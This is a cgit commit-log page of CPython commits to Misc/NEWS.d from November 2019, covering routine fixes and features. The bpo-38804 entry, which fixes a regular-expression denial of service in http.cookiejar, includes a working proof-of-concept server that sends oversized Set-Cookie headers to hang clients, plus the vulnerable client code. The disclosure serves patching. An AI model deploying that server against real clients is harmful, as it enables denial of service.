summaryrefslogtreecommitdiffstats
path: root/Misc/NEWS.d
Commit message (Collapse)AuthorAgeFilesLines
* bpo-38328: Speed up the creation time of constant list and set display. ↵Brandt Bucher2019-11-261-0/+2
| | | | (GH-17114)
* bpo-20928: support base-URL and recursive includes in etree.ElementInclude ↵Stefan Behnel2019-11-251-0/+1
| | | | | | | | | | | | (#5723) * bpo-20928: bring elementtree's XInclude support en-par with the implementation in lxml by adding support for recursive includes and a base-URL. * bpo-20928: Support xincluding the same file multiple times, just not recursively. * bpo-20928: Add 'max_depth' parameter to xinclude that limits the maximum recursion depth to 6 by default. * Add news entry for updated ElementInclude support
* bpo-38870: Expose a function to unparse an ast object in the ast module ↵Pablo Galindo2019-11-241-0/+4
| | | | | | | (GH-17302) Add ast.unparse() as a function in the ast module that can be used to unparse an ast.AST object and produce a string with code that would produce an equivalent ast.AST object when parsed.
* bpo-38862: IDLE Strip Trailing Whitespace fixes end newlines (GH-17366)Terry Jan Reedy2019-11-241-0/+2
| | | Extra newlines are removed at the end of non-shell files. If the file only has newlines after stripping other trailing whitespace, all are removed, as is done by patchcheck.py.
* bpo-38876: Raise pickle.UnpicklingError when loading an item from memo for ↵Claudiu Popa2019-11-241-0/+9
| | | | | | | | | | | | | | | invalid input (GH-17335) The previous code was raising a `KeyError` for both the Python and C implementation. This was caused by the specified index of an invalid input which did not exist in the memo structure, where the pickle stores what objects it has seen. The malformed input would have caused either a `BINGET` or `LONG_BINGET` load from the memo, leading to a `KeyError` as the determined index was bogus. https://bugs.python.org/issue38876 https://bugs.python.org/issue38876
* Better runtime TypedDict (GH-17214)Zac Hatfield-Dodds2019-11-241-0/+3
| | | | | This patch enables downstream projects inspecting a TypedDict subclass at runtime to tell which keys are optional. This is essential for generating test data with Hypothesis or validating inputs with typeguard or pydantic.
* bpo-38881: choices() raises ValueError when all weights are zero (GH-17362)Raymond Hettinger2019-11-231-0/+1
|
* bpo-38899: virtual environment activation for fish should use `source` ↵Brett Cannon2019-11-231-0/+3
| | | | | | | | | | | | (GH-17359) The previously documented use of `.` is considered deprecated (https://fishshell.com/docs/current/commands.html#source). https://bugs.python.org/issue38899 Automerge-Triggered-By: @brettcannon
* bpo-38896: Remove PyUnicode_ClearFreeList() function (GH-17354)Victor Stinner2019-11-231-0/+2
| | | | Remove PyUnicode_ClearFreeList() function: the Unicode free list has been removed in Python 3.3.
* bpo-38686: fix HTTP Digest handling in request.py (#17045)PypeBros2019-11-221-0/+1
| | | | | | | | | | | | | | | | | | | | | * fix HTTP Digest handling in request.py There is a bug triggered when server replies to a request with `WWW-Authenticate: Digest` where `qop="auth,auth-int"` rather than mere `qop="auth"`. Having both `auth` and `auth-int` is legitimate according to the `qop-options` rule in §3.2.1 of [[https://www.ietf.org/rfc/rfc2617.txt|RFC 2617]]: > qop-options = "qop" "=" <"> 1#qop-value <"> > qop-value = "auth" | "auth-int" | token > **qop-options**: [...] If present, it is a quoted string **of one or more** tokens indicating the "quality of protection" values supported by the server. The value `"auth"` indicates authentication; the value `"auth-int"` indicates authentication with integrity protection This is description confirmed by the definition of the [//n//]`#`[//m//]//rule// extended-BNF pattern defined in §2.1 of [[https://www.ietf.org/rfc/rfc2616.txt|RFC 2616]] as 'a comma-separated list of //rule// with at least //n// and at most //m// items'. When this reply is parsed by `get_authorization`, request.py only tests for identity with `'auth'`, failing to recognize it as one of the supported modes the server announced, and claims that `"qop 'auth,auth-int' is not supported"`. * 📜🤖 Added by blurb_it. * bpo-38686 review fix: remember why. * fix trailing space in Lib/urllib/request.py Co-Authored-By: Brandt Bucher <brandtbucher@gmail.com>
* bpo-38804: Fix REDoS in http.cookiejar (GH-17157)bcaller2019-11-221-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
* bpo-38863: Improve is_cgi() in http.server (GH-17312)Siwon Kang2019-11-221-0/+2
| | | | | | | | | | | | | | | | | | | is_cgi() function of http.server library does not currently handle a cgi script if one of the cgi_directories is located at the sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler class separates given path into (dir, rest) based on the first seen '/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub' exists in cgi_directories = [..., '/sub/dir/cgi-bin']. This patch makes the is_cgi() keep expanding dir part to the next '/' then checking if that expanded path exists in the cgi_directories. Signed-off-by: Siwon Kang <kkangshawn@gmail.com> https://bugs.python.org/issue38863
* bpo-37838: get_type_hints for wrapped functions with forward reference ↵benedwards142019-11-211-0/+1
| | | | | | (GH-17126) https://bugs.python.org/issue37838
* bpo-38692: Skip test_posix.test_pidfd_open() on EPERM (GH-17290)Victor Stinner2019-11-211-0/+3
| | | | | | Skip the test_posix.test_pidfd_open() test if os.pidfd_open() fails with a PermissionError. This situation can happen in a Linux sandbox using a syscall whitelist which doesn't allow the pidfd_open() syscall yet (like systemd-nspawn).
* bpo-38875: test_capi: trashcan tests require cpu resource (GH-17314)Victor Stinner2019-11-211-0/+1
| | | test_capi: trashcan tests now require the test "cpu" resource.
* Produce cleaner bytecode for 'with' and 'async with' by generating separate ↵Mark Shannon2019-11-211-0/+5
| | | | | | code for normal and exceptional paths. (#6641) Remove BEGIN_FINALLY, END_FINALLY, CALL_FINALLY and POP_FINALLY bytecodes. Implement finally blocks by code duplication. Reimplement frame.lineno setter using line numbers rather than bytecode offsets.
* bpo-38857: AsyncMock fix for awaitable values and StopIteration fix [3.8] ↵Jason Fried2019-11-212-0/+7
| | | | (GH-17269)
* bpo-38841: Skip asyncio test_create_datagram_endpoint_existing_sock_unix ↵xdegaye2019-11-201-0/+2
| | | | | | | | | | | | | (GH-17294) on platforms lacking a functional bind() for named unix domain sockets https://bugs.python.org/issue38841 Automerge-Triggered-By: @asvetlov
* bpo-33125: Add support for building and releasing Windows ARM64 packages ↵Steve Dower2019-11-201-0/+1
| | | | | (GH-16828) Note that the support is not actually enabled yet, and so we won't be publishing these packages. However, for those who want to build it themselves (even by reusing the Azure Pipelines definition), it's now relatively easy to enable.
* bpo-38821: Fix crash in argparse when using gettext (GH-17192)Federico Bond2019-11-201-0/+1
|
* bpo-37340: Remove PyMethod_ClearFreeList() and PyCFunction_ClearFreeList() ↵Victor Stinner2019-11-201-0/+2
| | | | | | | | (GH-17284) Remove PyMethod_ClearFreeList() and PyCFunction_ClearFreeList() functions: the free lists of bound method objects have been removed. Remove also _PyMethod_Fini() and _PyCFunction_Fini() functions.
* bpo-36854: Move _PyRuntimeState.gc to PyInterpreterState (GH-17287)Victor Stinner2019-11-201-0/+3
| | | | | * Rename _PyGC_InitializeRuntime() to _PyGC_InitState() * finalize_interp_clear() now also calls _PyGC_Fini() in subinterpreters (clear the GC state).
* bpo-38835: Exclude PyFPE macros from the stable API (GH-17228)Victor Stinner2019-11-201-0/+2
| | | | Exclude PyFPE_START_PROTECT() and PyFPE_END_PROTECT() macros of pyfpe.h from Py_LIMITED_API (stable API).
* bpo-38636: Fix IDLE tab toggle and file indent width (GH-17008)Terry Jan Reedy2019-11-201-0/+3
| | | | | These Format menu functions (default shortcuts Alt-T and Alt-U) were mistakenly disabled in 3.7.5 and 3.8.0.
* closes bpo-38712: Add signal.pidfd_send_signal. (GH-17070)Benjamin Peterson2019-11-201-0/+3
| | | | | | | | This exposes a Linux-specific syscall for sending a signal to a process identified by a file descriptor rather than a pid. For simplicity, we don't support the siginfo_t parameter to the syscall. This parameter allows implementing a pidfd version of rt_sigqueueinfo(2), which Python also doesn't support.
* bpo-38835: Don't use PyFPE_START_PROTECT and PyFPE_END_PROTECT (GH-17231)Victor Stinner2019-11-201-0/+2
| | | | | The PyFPE_START_PROTECT() and PyFPE_END_PROTECT() macros are empty: they have been doing nothing for the last year (since commit 735ae8d139a673b30b321dc10acfd3d14f0d633b), so stop using them.
* Merge tag 'v3.9.0a1'Łukasz Langa2019-11-20570-1151/+5772
|\
| * Python 3.9.0a1v3.9.0a1Łukasz Langa2019-11-19570-1151/+5772
| |
* | bpo-37957: Allow regrtest to receive a file with test (and subtests) to ↵Pablo Galindo2019-11-191-0/+3
| | | | | | | | | | | | | | ignore (GH-16989) When building Python in some uncommon platforms there are some known tests that will fail. Right now, the test suite has the ability to ignore entire tests using the -x option and to receive a filter file using the --matchfile filter. The problem with the --matchfile option is that it receives a file with patterns to accept and when you want to ignore a couple of tests and subtests, is too cumbersome to lists ALL tests that are not the ones that you want to accept and he problem with -x is that is not easy to ignore just a subtests that fail and the whole test needs to be ignored. For these reasons, add a new option to allow to ignore a list of test and subtests for these situations.
* | bpo-38707: Fix for multiprocessing.Process MainThread.native_id (GH-17088)Jake Tesler2019-11-191-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This PR implements a fix for `multiprocessing.Process` objects; the error occurs when Processes are created using either `fork` or `forkserver` as the `start_method`. In these instances, the `MainThread` of the newly created `Process` object retains all attributes from its parent's `MainThread` object, including the `native_id` attribute. The resulting behavior is such that the new process' `MainThread` captures an incorrect/outdated `native_id` (the parent's instead of its own). This change forces the Process object to update its `native_id` attribute during the bootstrap process. cc @vstinner https://bugs.python.org/issue38707 Automerge-Triggered-By: @pitrou
* | bpo-38839: Fix some unused functions in tests (GH-17189)Adam Johnson2019-11-191-0/+1
| |
* | bpo-35409: Ignore GeneratorExit in async_gen_athrow_throw (GH-14755)Vincent Michel2019-11-191-0/+2
|/ | | | | | | | | Ignore `GeneratorExit` exceptions when throwing an exception into the `aclose` coroutine of an asynchronous generator. https://bugs.python.org/issue35409
* bpo-21767: explicitly mention abc support in functools.singledispatch docs ↵Batuhan Taşkaya2019-11-191-0/+1
| | | | (#17171)
* bpo-38807: Add os.PathLike to exception message raised by _check_arg_types ↵Tomás Farías2019-11-191-0/+1
| | | | (#17160)
* bpo-38622: Add missing audit events for ctypes module (GH-17158)Steve Dower2019-11-181-0/+1
|
* bpo-38722: Runpy use io.open_code() (GH-17234)jsnklln2019-11-181-0/+2
| | | | | | | https://bugs.python.org/issue38722 Automerge-Triggered-By: @taleinat
* bpo-38809: Windows build scripts use python.exe from virtual envs (GH-17164)Tal Einat2019-11-181-0/+2
| | | https://bugs.python.org/issue38809
* bpo-38631: Avoid Py_FatalError() in float.__getformat__() (GH-17232)Victor Stinner2019-11-181-0/+2
| | | | Replace Py_FatalError() with a regular RuntimeError exception in float.__getformat__().
* Revert "bpo-38811: Check for presence of os.link method in pathlib. ↵Victor Stinner2019-11-181-1/+0
| | | | | (GH-17170)" (#17219) This reverts commit 111772fc27cfe388bc060f019d68a3e33481ec65.
* bpo-36589: Fix the error handling in curses.update_lines_cols(). (GH-12766)Zackery Spytz2019-11-171-0/+2
| | | | Return None instead of 1.
* bpo-38811: Check for presence of os.link method in pathlib. (GH-17170)Toke Høiland-Jørgensen2019-11-171-0/+1
| | | | | Fix also the Path.symplink() method implementation for the case when symlinks are not supported.
* bpo-38724: Implement subprocess.Popen.__repr__ (GH-17151)Andrey Doroschenko2019-11-171-0/+1
|
* bpo-28286: Deprecate opening GzipFile for writing implicitly. (GH-16417)Serhiy Storchaka2019-11-161-0/+2
| | | | Always specify the mode argument for writing.
* bpo-38650: Constify PyStructSequence_UnnamedField. (GH-17005)Serhiy Storchaka2019-11-161-0/+2
| | | | Make it a constant and referring to a constant string.
* bpo-38639: Optimize floor(), ceil() and trunc() for floats. (GH-16991)Serhiy Storchaka2019-11-161-0/+2
|
* bpo-38816: Add notes in the C-API docs about fork in subinterpreters. (GH-17176)Eric Snow2019-11-151-0/+3
| | | | | | The C-API docs are a bit sparse on the interplay between C `fork()` and the CPython runtime. This change adds some more information on the subject. https://bugs.python.org/issue38816
* bpo-38453: Ensure ntpath.realpath correctly resolves relative paths (GH-16967)Steve Dower2019-11-151-0/+1
| | | | | Ensure isabs() is always True for \\?\ prefixed paths Avoid unnecessary usage of readlink() to avoid resolving broken links incorrectly Ensure shutil tests run in test directory
* bpo-38778: Document that os.fork is not allowed in subinterpreters (GH-17123)Phil Connell2019-11-151-0/+1
| | | | | | | | | | | | | | | Small docs update for [bpo-34651](https://bugs.python.org/issue34651). Other references to fork (e.g. the PyOS.*Fork functions or discussions of fork() when embedding Python) point back to os.fork, so I don't think any other updates are needed. https://bugs.python.org/issue38778 Automerge-Triggered-By: @ericsnowcurrently
* bpo-38351: Modernize email examples from %-formatting to f-strings (GH-17162)Andrey Doroschenko2019-11-151-0/+1
|
* closes bpo-38692: Add a pidfd child process watcher to asyncio. (GH-17069)Benjamin Peterson2019-11-141-0/+2
|
generated by cgit v0.12 at 2025-02-09 22:10:52 (GMT)